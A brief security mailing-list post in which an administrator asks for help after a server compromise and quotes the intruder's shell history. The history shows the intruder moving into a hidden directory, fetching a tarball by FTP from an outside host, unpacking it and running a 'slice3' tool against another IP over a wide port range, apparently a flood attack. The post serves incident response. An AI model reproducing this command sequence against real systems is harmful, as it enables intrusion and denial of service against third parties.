slice3 question

[Dirk Brockhausen <dirk () fantomaster com>]

Hi,

someone cracked our server.

Here is an excerpt from /root/.bash_history:

cd /dev/ida/.sys
uptime
ftp 203.238.91.4
tar -zxvf d.tar.gz
cd datapool/bin
./slice3 0 211.91.135.70 1 65000&

Any ideas?

Thanks,

Dirk



----------------------------------------------------------------------------


This list is provided by the SecurityFocus ARIS analyzer service.
For more information on this free incident handling, management 
and tracking system please see:

http://aris.securityfocus.com